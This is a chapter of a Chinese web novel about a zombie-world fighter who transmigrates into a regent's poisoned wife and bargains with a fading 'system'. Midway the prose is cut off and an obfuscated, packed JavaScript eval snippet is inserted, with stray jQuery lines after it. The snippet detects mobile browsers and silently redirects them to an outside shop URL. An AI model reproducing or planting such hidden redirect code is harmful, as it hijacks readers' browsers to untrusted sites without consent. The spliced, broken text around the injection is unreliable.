那是一个月黑风高的夜晚,上元节当日,花市灯如昼,热闹非凡。
长街上两人意外相撞,少年本就寡言少语,此时更是不想扰了兴致,本该转身而走的他垂眸间,映入眼帘的竟是一张娇俏、呆萌的脸,少年对她一见钟情,于是——他走近挑起她的下巴,压声道:“这位女子,你成功引起了本王的注意。”
【宿主,咱……是不是串台了呀。】
系统在鸢从地上站起来后就打算跟她讲现状和任务,可屏幕上的字显示了好一会儿都没动静,又见她照镜子看得入迷,就没打扰。
但她越想越奇葩,系统实在听不下去。
鸢只是“啧”了一声,手在空中轻轻一摆,继续浮想联翩。
【宿主?】
系统看见鸢摆手以为是想让自己离她近点,可接近后才发现她又变回了一副痴呆样。
系统尝试呼唤,却丝毫没用。
后来两人在一起,相敬如宾、恩爱有加、如胶似漆……可好景不长,婢女见自己在摄政王身边服侍多年,最后他的身边居然不是她,于是婢女心生嫉妒,偷炼苗疆剧毒与换魂术下给王妃,不仅使王妃昏迷不醒,还让这幅躯体换了内胆,不料却被穿越者霸占,他寻遍名医只为治好她,可都了了于事,那一夜,他气昏了头,对名医们大声呵斥:“治不好她,那就全都给她陪葬!”
【宿主。。王妃进摄政王府的时候还没及笄……怎么如胶似漆。。。】
系统无语,尝试唤醒的声音也越来越弱。
摄政王爱妻如命,他每每见王妃醒来看他陌生的眼神心碎不已。终于,他疯了,暴虐成性,普天盖地的寻找婢女,宁可错杀也不放过。找到后,他对婢女施以酷刑,只为逼出解药,可那婢女不从,且出言挑衅,摄政王忍无可忍,本想一刀送婢女归西,可那婢女不仅牵扯悬案,甚至还有人脉——与太子关系密切,被手下阻拦后他不得不放手离开,只能眼睁睁看着谋害妻子的人活得自在……
这也太狗血了!摄政王简直是忧郁破碎小狗来的……
鸢想完不禁抽了抽鼻。
【是狼哦,咬死你!】
“啊!”
系统的声音形似空灵诡语,忽然环绕在鸢的耳畔。
鸢被吓了一跳,不禁出声叫了一声。
在末世世界,异能者以吸食变异晶核为生,也需吸食变异晶核来增强异能,鸢每天除了睡觉就是做任务清理丧失或者支援别的小队,尤其她还是超异能队队长,小队主要清理的是变异型丧尸,不做任务时大脑也没有放松的时间,她不仅要思考战略还要组织队友训练,有时因人体需求,需要合理规划积分换置人的吃食,如果没有多余的积分或者积分不足时,还要去接点别的任务赚取,完全没有闲工夫去瞎想。
现下穿越,她完全沉浸在幻想的世界里,全然忘了还有系统的存在。
鸢回过神来,她想起在幻想时貌似听到系统好像在叫她,说什么串台?
等等!刚刚她幻想完觉得摄政王是忧郁破碎小狗,系统回的‘是狼哦’。
鸢一惊,站起来单手叉腰,另一只手颤抖地指向悬在空中那个发光的屏幕,后退了几步:“你……你你……你……”
【是的宿主,我能听见你心声,你刚刚幻想的‘忧郁破碎霸道摄政王爱上王妃’的故事我听的一清二楚。】
鸢听了系统的回答有些尴尬,但她见自己支支吾吾半天也说不出一句完整的话,又将手转而指向自己胸口:“我……我……我我……”
【没错宿主,你现在是个结巴,因无法探测出你的异能和这副身躯体内的毒是否有排异,为确保你的魂魄能安全存活以及这副身躯的完好无损,只能出此下策,你可以在心里跟我沟通。】
【温馨提示:异能无权更改系统设定哦。】
昏暗的房间内,一段红色字体刻在悬在半空中的电子屏幕上,格外晃眼。
鸢无奈,深深叹了口气,其实不用系统提醒,她也不打算用异能恢复,毕竟在地牢里她就尝试偷偷用异能窥探剧情和人物面容,结果就是眼睛一闭一睁,她就这么穿了。
‘那我的异能呢?你设定我成哑巴,到时候遇到突发情况,我该怎么使用异能,总不能就结巴说吧,反派见我这样都得心疼我,男主见我估计都想鲨了我。’
鸢边在心里回着系统的话,边坐到床上,双手环抱着床柱,倚在旁边。这副身体太弱了,只是精神紧绷、情绪激动了一会儿,就感到胸口发蒙、头脑昏胀、喘不上气。
‘还是说,异能也是从嘴说变成了心想。’
【不愧是这副身体的原主人,潜意识还是那么聪慧】
‘你在说什么?’
鸢不知道为什么,自从在这副身体里醒来后头脑一直发胀,开始还以为是因为情绪问题所以才会喘不上气,可已经靠在床柱上有一会了,就算身体再虚,也不该这样。
现下她脑袋昏沉得厉害,完全没听清系统说的话,多问一嘴后她实在受不了,忽然想起这具身体体内还有毒,便开始用异能扫描并尝试排出。
毕竟她据观察和大致了解,原主体内中的毒并非属于系统设定。
【没什么!没什么!我是要讲你接下来要做的事。】
系统意识到自己说漏了嘴,慌忙想方设法补救,但听鸢话里的意思像是没听清,于是赶忙否认,说些别的转移她的注意力。
【宿主,你猜得没错,你穿的人的确是摄政王王妃,原主名为沈观雪,这件事我没必要瞒你,也瞒不过你,但多的我不能说,这是上级规定。你的任务就只有活着,必须好好活着,否则这个世界将会崩塌,你也会因被判定任务失败,生命就此结束。】
【关于奖励,由于宿主已在末世注射了异能增强药剂,不再依靠晶核为生,因此已将宿主的晶核奖励改为:多活一天可清除体内毒素1%,同时增强异能1%】
系统没注意到她的状态不对,自顾自说着。
忽然,一滩黑血从鸢口中喷射而出,她呼吸急促,只觉得眼前的事物越来越模糊,她勉强扶着床柱硬撑着。
鸢不理解,为什么别的穿越者能活三天,而她连一天都撑不过去。刚刚系统说的话她全听见了,她也不想活着的机会就这么白白浪费,可在尝试排毒的过程中,她感觉并不是毒和异能有排异,而是原主身体并不接纳她,毒素莫名爆发,她的异能也无法干预。
‘系统,我不会还没开始就结束了吧……’鸢在心里痛苦呻吟。
【宿主别慌,你先撑住,其他有我,有我在不会让你有事的!】
说罢,悬在空中的电子屏幕瞬间化作一缕光,从鸢的眉心处进入她的识海并屏蔽了她。
汗水浸透了衣裙,额头上的碎发一簇簇地黏在鸢的脸上,她忍着疼颤抖地伸出手,最终轻落在系统消失的地方揉了揉。
穿来前,她正带领小队执行紧急任务时突遇丧尸围剿,眼见空间之门刷新,她身为队长且拥有言出法随的高等异能,果断选择让队友先走,自己断后。
空间之门越来越小,她瞅准时机进入却被迷副队长狠狠推向尸潮,而其他队友就在一旁冷漠观看。
“鸢,异能增强药剂的副作用感受怎么样,幸好我注射的早。”
“基地早想让我们的异能合二为一,就在刚刚推你的时候,我已经复制了你的异能。基地的晶核有限,也不需要一个拥有和别人一样异能的废物做队长,你可以去死了。”
“这场戏,最后就由你这个主角收场啦,放心,基地那边我会好好说明情况,毕竟我身边可都是人证~”
空
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738568|209064||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
间之门缓缓关闭,迷和几个队友的身影也渐渐消失在眼前。经迷说的一番话,她幡然醒悟,原来这几天队友背着自己频频外出是在计划这件事。
确实可笑,三年同生共死的交情,最后居然连一个活着的权利都没有。
鸢想说话释放异能,但此时的喉咙像是被灌过岩浆,灼烧的刺痛感深入骨髓,刚刚的战斗已经耗费了不少体力,加上现在的药剂发作,她无力抵抗最后被丧尸、背叛、欺瞒淹没。
鸢有些看不懂这个世界,同生共死三年的队友拿自己当跳板,刚绑定的系统却拼命救自己。
异能者在这个时代当面释放异能估计会被当成妖魔鬼怪,脱开异能不说,她也只是个普通人,明明系统可以在她死后再重新绑定别的穿越者,然后再对新的穿越者说同样的话,发生同样的事,做同样的任务……
想到这,她脸上早已分不清脸上是汗水还是泪水。事出有因,她决定等系统出来后一定要问清楚。
鸢感到身上的疼痛在缓缓减弱,她睁眼,却发现电子屏幕从原本能悬在半空到现在只能倒在一旁的床柜上;而光原本能包裹住整张床,现在却连烛光都不如,只能覆盖一小片树叶。
【宿主,毒性已经压住了,近期不会复发,记得好好做任务……】
鸢听系统的声音非常虚弱,顿时气不打一处来,明明在看过的那些小说里,系统只需要把人拉过来后讲清楚任务、奖励和偶然的警告后就什么都不管了。
【警告!警告!系统能量不足,即将进入休眠状态!】
鸢还没来得及煽情,响亮的警告声伴随着闪烁的红色光瞬间包围住整个屋内。
“喂!我……我……”
‘我要的不是这个警告啊!’
听见警告声,鸢焦急万分,一时间忘了她是个结巴,最终只能在心底无助的呐喊。
她慌忙移到床柜旁,眼泪止不住地落下,她吸着鼻子盯着快要消失的电子屏幕在心底哽咽。
‘系统,我要怎么做你才能不消失。’
【宿主,你只需要好好完成任务,我只是沉睡不是消失,沉睡过程中,奖励正常发放。】
‘你最好能回来,不然我就用这副身体出轨!’
见系统没回,鸢服了软:‘为什么救我……’
【因为这是我的任务。他只要你,你曾经穿越这件事也是我的心结……】
后半句,系统说的很小声,怕她听见,又怕她听不见。
鸢不明白:‘先前那几位穿越者呢?为什么不救她们反而选择我?’
【因为这个世界需要你,也必须是你。】
‘什么意思?’
【待你情到深处时,自然就知道答案了。宿主,时间不多了。】
系统转移话题,周围红色的光也忽然闪烁地越来越快。
【警告!警告!休眠进入倒计时:五……四……】
房屋内倒计时声此起彼伏,电子屏幕上显示的数字也开始渐渐闪烁。
‘摄政王叫什么名字,这我总有权利知道吧。’
鸢收回情绪,她不再执着于那些,但既然她穿成了摄政王王妃,总得知道摄政王姓甚名谁吧。
鸢见系统没回,以为系统还是不愿意说,眼见电子屏幕上的倒计时数字越来越小,她在心里慌忙改口:‘姓!姓也行!’
【萧凌……】
系统怕提前说了,鸢又会抓紧时间问别的问题,于是故意赶在最后一秒说。
但倒计时声和系统的声音混在了一起,鸢刚从毒发中缓过劲,时不时还会有耳鸣。
系统回答完,鸢跟着在嘴里重复了一遍:“江……”
她心里又惊又喜——‘小说诚不欺我,原来真有摄政王姓江的,怪不得有马赛克也藏不住他的帅!’